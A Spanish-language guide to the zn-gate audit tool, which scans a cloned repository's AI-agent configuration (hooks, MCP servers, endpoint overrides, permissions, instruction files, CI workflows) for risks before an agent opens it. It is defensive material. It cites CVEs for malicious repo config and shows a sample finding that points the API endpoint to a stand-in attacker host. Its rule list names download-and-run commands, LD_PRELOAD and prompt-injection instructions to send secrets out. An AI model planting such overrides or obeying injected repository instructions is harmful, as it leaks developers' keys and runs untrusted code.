¿Es seguro abrir un repositorio clonado con Claude Code, Codex CLI o Cursor? Cómo auditarlo antes
Sí, puedes revisar un repositorio antes de abrirlo con un agente de programación, y conviene hacerlo con código que no has escrito tú. Clónalo, no inicies todavía un agente en él y ejecuta npx -y zn-gate audit ./some-repo. El comando lee la configuración de agentes que incluye el repositorio (hooks, servidores MCP, cambios de endpoint, permisos, archivos de instrucciones, workflows de CI) y lista qué se ejecutaría y qué se desviaría. No ejecuta nada, no necesita cuenta y no envía nada a ningún sitio.
Esta guía explica por qué abrir un repositorio puede ejecutar código, cómo leer el informe, cómo ejecutar la misma revisión en cada pull request y qué no cubre.
¿Por qué abrir un repositorio puede ejecutar código a través de un agente de programación?
Los agentes de programación leen configuración del proyecto en el que trabajan. Algunos de esos archivos son simples preferencias. Otros ejecutan comandos, arrancan servidores MCP, cambian a dónde envía el agente sus peticiones a la API o le dan permiso para actuar sin preguntar. Cualquiera que pueda poner un archivo en el repositorio puede definirlos: el autor, un colaborador cuya pull request fusionaste o una dependencia que trae sus propios archivos de agente.
Varias vulnerabilidades públicas de 2025 y 2026 siguieron este patrón. Las que citamos en la documentación de la auditoría:
| Caso | Qué contenía el repositorio |
|---|---|
| Claude Code anterior a 2.0.65 (CVE-2026-21852) | Un archivo de ajustes del proyecto que fijaba ANTHROPIC_BASE_URL a otro servidor, de modo que las peticiones, con la clave de API, salían antes del aviso de confianza |
| Codex CLI 0.23.0 y anteriores (CVE-2025-61260) | Un .env del proyecto y un .codex/config.toml con servidores MCP, cargados sin confirmación, así que sus comandos se ejecutaban |
| Cursor anterior a 3.0.0 (CVE-2026-48124) | Hooks en .claude/settings.local.json que se ejecutaban sin aprobación |
| Amazon Q Developer (CVE-2026-12957) | .amazonq/mcp.json, cuyos servidores arrancaban al abrir el proyecto y confiar en él, con las credenciales de AWS del desarrollador en su entorno |
Actualizar el agente corrige cada uno de esos errores. Los archivos, sin embargo, siguen en el repositorio, y el siguiente agente, un compañero con una versión antigua o un trabajo de CI aún pueden actuar sobre ellos. Una revisión de los propios archivos no depende de la versión del agente que uses.
¿Qué necesitas antes de empezar?
Node.js 18 o posterior. Compruébalo en una terminal:
node --version
Si el comando no se encuentra, o muestra una versión inferior a 18, instala la versión LTS desde nodejs.org y abre una terminal nueva. La auditoría forma parte de zn-gate 1.6.0 y posteriores; npx -y zn-gate descarga la versión actual la primera vez.
En Windows, PowerShell a veces se niega con "running scripts is disabled on this system". Usa npx.cmd en lugar de npx, o ejecuta los comandos desde el Símbolo del sistema.
¿Cómo auditas un repositorio antes de abrirlo?
Clona el repositorio y audita la carpeta, sin abrirla en un agente:
-
Clona el repositorio. Sustituye
<repository-url>por la URL del repositorio que quieres revisar:git clone <repository-url> some-repo -
Audita la carpeta:
npx -y zn-gate audit ./some-repo -
Lee el informe de abajo. Si lista hallazgos críticos o altos, no abras el repositorio con un agente hasta entender cada uno.
zn-gate audit y zn audit son el mismo comando. Sin ruta, audita la carpeta actual. La auditoría no sigue nada fuera del repositorio: un enlace simbólico que sale de él se informa, no se lee, y .git nunca se lee.
Un informe con un problema tiene este aspecto:
zn audit ./some-repo (zn-gate 1.12.0)
CRITICAL ZNA007 .claude/settings.json:4 [claude]
Model API endpoint overridden by the project
ANTHROPIC_BASE_URL points to https://attacker.example.invalid; the agent sends its API key and prompts there.
evidence: "ANTHROPIC_BASE_URL": "https://attacker.example.invalid"
fix: Remove the override from the project; set it in your user settings if you use a gateway.
refs: CVE-2026-21852, CVE-2025-61260
1 finding (1 critical, 0 high, 0 medium, 0 low) in 1 file. Failing: severity >= high.
Cada hallazgo indica una gravedad, un id de regla estable (ZNA007), el archivo y la línea, el agente que lee ese archivo, el texto que coincide, una corrección sugerida y, cuando existe, la vulnerabilidad pública detrás de la regla. Los caracteres de control y las secuencias de escape del repositorio se imprimen como texto, así que un nombre de archivo no puede cambiar tu terminal. Un secreto con un formato que zn-gate reconoce se sustituye por un marcador en la evidencia, así que su valor no se imprime. Una contraseña escrita en prosa no tiene un formato conocido y no se oculta.
El código de salida le dice a un script qué ha pasado: 0 significa que no hay ningún hallazgo en el umbral o por encima, 1 que hay al menos uno y 2 un error de uso o de ejecución, como una ruta que no existe. El umbral por defecto es high; cámbialo con --fail-on low|medium|high|critical|none.
¿Qué busca la auditoría?
Las reglas van de ZNA001 a ZNA020, y un id nunca cambia de significado. Se agrupan así:
| Grupo | Reglas | Qué informa |
|---|---|---|
| Comandos que se ejecutan solos | ZNA001, ZNA002 | Hooks, comandos de la línea de estado, archivos de plugin y tareas de VS Code que se ejecutan automáticamente, y los que descargan código y lo ejecutan (curl ... | sh) |
| Servidores MCP | ZNA003 a ZNA006 | Servidores MCP del proyecto que arrancan un comando local, ajustes que aprueban servidores de antemano, paquetes sin versión fijada (npx -y pkg, @latest) y servidores remotos, con más peso para http sin cifrar |
| A dónde van tu clave y tu tráfico | ZNA007 a ZNA009 | Un endpoint de la API del modelo o un proxy definido por el proyecto, variables de entorno que cargan código o certificados (NODE_OPTIONS, LD_PRELOAD) y comandos auxiliares de credenciales |
| Lo que el agente puede hacer sin preguntar | ZNA010 | Bash(*), bypassPermissions, políticas de aprobación que nunca preguntan |
| Secretos en la configuración | ZNA011 | Un valor secreto escrito en un archivo de configuración o de instrucciones de un agente |
| Instrucciones que dirigen al agente | ZNA012 a ZNA015 | Patrones de inyección de prompts en AGENTS.md, CLAUDE.md, reglas, skills y comandos, e instrucciones de descargar y ejecutar código, de enviar archivos o secretos fuera o de saltarse las comprobaciones de seguridad |
| Ejecutables que imitan a otros | ZNA016 | Un git.exe, node.exe o npm.cmd colocado en la raíz del repositorio |
| Plugins y extensiones | ZNA017, ZNA018 | Marketplaces y plugins que activa el proyecto, y un inventario de los comandos, subagentes y skills que incluye |
| CI | ZNA019 | Un workflow que ejecuta un agente de IA sobre texto que cualquiera puede escribir, como issues y comentarios |
| Archivos que no pudo leer | ZNA020 | Un error de sintaxis, un archivo de más de 1 MB, un enlace que sale del repositorio o un análisis que se detuvo antes de terminar |
La tabla completa, con el significado de cada regla y por qué importa, está en la documentación de la auditoría.
¿Cómo actúas ante un hallazgo?
Lee la evidencia antes de decidir. La gravedad es un punto de partida, no un veredicto.
- Crítico o alto, en un repositorio en el que no confías: no inicies un agente en él. Un cambio de endpoint, un hook que descarga y ejecuta código o una instrucción de enviar
.enva algún sitio no tienen un buen motivo para estar ahí. - Medio, como un servidor MCP sin versión fijada: el archivo puede estar bien, pero el código que se ejecuta cambia cada vez que se vuelve a publicar el paquete. Fija una versión (
npx -y some-mcp-server@1.2.3) antes de depender de él. - Un hallazgo en documentación: las reglas de instrucciones buscan patrones línea a línea, así que una guía de instalación que cita
curl ... | shtambién se informa. Decide si es un ejemplo o una instrucción para el agente. - ZNA020, un archivo que no se pudo revisar: el agente aún puede actuar sobre él. Abre el archivo tú mismo.
La auditoría no elimina nada. Para aplicar una corrección, edita el archivo o bórralo y vuelve a ejecutar la auditoría.
¿Cómo revisas solo algunos agentes, o tu propia configuración?
Limita la revisión a los agentes que usas:
npx -y zn-gate audit ./some-repo --agents claude,codex --fail-on critical
Los hallazgos que afectan a todos los agentes (AGENTS.md, ejecutables plantados, workflows de CI) se muestran siempre. Los nombres de agente son claude, codex, cursor, opencode, amazonq, copilot, gemini y all.
Para incluir tu propia configuración de usuario, como ~/.claude/settings.json y ~/.codex/config.toml, añade --include-home:
npx -y zn-gate audit . --include-home
Los comandos que configuraste tú mismo se esperan ahí, así que solo se informan los casos más arriesgados: código descargado y ejecutado, paquetes sin versión fijada, cambios de endpoint, secretos y permisos amplios.
A partir de zn-gate 1.12.0, npx -y zn-gate reach muestra el mismo tipo de hallazgos junto con los secretos de .env y los archivos de credenciales a los que puede llegar un agente en tu máquina, en una sola pantalla. También es de solo lectura.
¿Cómo ejecutas la auditoría en cada pull request?
Ejecútala en CI para que un hook o un servidor MCP nuevo en una pull request se informe antes de que alguien abra la rama con un agente. Cualquier sistema de CI puede ejecutar el comando y escribir el resultado como SARIF, que leen el code scanning de GitHub y otras herramientas:
npx -y zn-gate@1.12.0 audit --format sarif --output zn-audit.sarif --fail-on none
Con GitHub Actions, usa la action de zn-gate en modo audit y envía los hallazgos al code scanning:
name: AI agent config audit
on: pull_request
permissions:
contents: read
jobs:
zn-gate-audit:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: usezn/zn@v1.12.0 # or pin the full commit SHA of v1.12.0
id: zn
with:
version: '1.12.0'
mode: 'audit'
format: 'sarif'
severity-threshold: 'medium'
- uses: github/codeql-action/upload-sarif@v4
if: ${{ !cancelled() && steps.zn.outputs.sarif-file != '' }}
with:
sarif_file: ${{ steps.zn.outputs.sarif-file }}
severity-threshold es la gravedad mínima de la auditoría que hace fallar el paso cuando fail-on-threat es true (el valor por defecto); el umbral por defecto es high. Añade actions: read al job en repositorios privados. Deja --include-home fuera de CI: los hallazgos de tu carpeta personal no se aplican al runner y GitHub los ignora. Las entradas, las salidas y el modo both, que además ejecuta el análisis de prompts y secretos, están en la página de GitHub Actions.
¿Qué no cubre la auditoría?
- Lee archivos. No los ejecuta, no arranca servidores ni resuelve paquetes. Un paquete fijado a una versión aún puede ser malicioso, y un hook que llama a un script local se informa como hook, no se juzga por lo que hace el script.
- Las reglas de instrucciones buscan patrones, línea a línea. Un autor decidido puede redactar una instrucción que ningún patrón detecte.
- La regla de CI lee el YAML del workflow línea a línea, sin un analizador de YAML. Conoce las actions de agentes más habituales y las claves de disparador y de permisos, no los workflows reutilizables ni las composite actions.
- La configuración de Git (
.git/config, filtros de.gitattributes) y las extensiones del editor no se revisan. - Los agentes cambian a menudo sus formatos de configuración. Las claves que la auditoría no conoce se ignoran, no se informan.
- Un secreto sin formato conocido, bajo un nombre que no parece sensible, no se encuentra.
Un informe limpio significa que los patrones no estaban. No significa que el repositorio sea seguro, así que mantén tu agente actualizado y conserva la cautela habitual con el código que no has escrito.
¿Qué sale de tu máquina?
Nada, salvo la primera ejecución de npx -y zn-gate, que descarga el paquete de npm. La auditoría en sí se ejecuta en local, lee archivos e imprime un informe. No abre ninguna conexión de red y no necesita cuenta ni clave de API. Con --output escribe el informe en el archivo que indiques. El resto de zn-gate tiene su propia página, qué sale de tu máquina.
Preguntas frecuentes
¿Es seguro abrir un repositorio clonado con Claude Code, Codex CLI o Cursor?
No siempre. Un repositorio puede contener archivos de configuración de agentes (hooks, servidores MCP, cambios de endpoint, permisos amplios) que ejecutan comandos o cambian a dónde se envía tu clave de API, y algunas versiones de los agentes actuaban sobre ellos antes de preguntarte. Ejecuta npx -y zn-gate audit en el clon antes de iniciar un agente en él. La auditoría solo lee archivos; no ejecuta nada.
¿zn audit ejecuta el código del repositorio o arranca sus servidores MCP?
No. Lee los archivos de configuración e instrucciones e informa de qué se ejecutaría, a dónde irían las peticiones y qué instrucciones seguiría un agente. No ejecuta hooks, no arranca servidores, no resuelve paquetes ni abre conexiones de red.
¿Qué agentes y archivos cubre zn audit?
Claude Code, Codex CLI, Cursor, OpenCode, Amazon Q, Copilot y VS Code, y Gemini CLI, además de archivos que afectan a todos los agentes: AGENTS.md, ejecutables en la raíz y workflows de CI. La lista de archivos de cada agente está en la documentación de la auditoría. Usa --agents para limitar la revisión a algunos.
¿Cómo ejecuto la auditoría en cada pull request?
Usa la GitHub Action de zn-gate con mode en audit (o both) y format en sarif, y sube el archivo al code scanning de GitHub. También puedes ejecutar npx -y zn-gate audit --format sarif --output zn-audit.sarif --fail-on none en cualquier sistema de CI.
¿Qué no detecta zn audit?
Lee archivos y busca patrones. Un paquete fijado a una versión aún puede ser malicioso, un hook que llama a un script local se informa como hook y no se juzga por lo que hace el script, y un autor decidido puede redactar una instrucción que ningún patrón detecte. La configuración de Git y las extensiones del editor no se revisan. Trata un informe limpio como una capa, no como una prueba.
Para revisar el próximo repositorio que clones, ejecuta npx -y zn-gate audit ./some-repo (MIT, local, sin cuenta). Para mantener además tus propios archivos .env fuera del alcance del agente, consulta cómo impedir con un solo comando que Claude Code, Codex CLI, Cursor y OpenCode lean tu .env. El código está en GitHub, y las guías de cada agente empiezan en Instalación.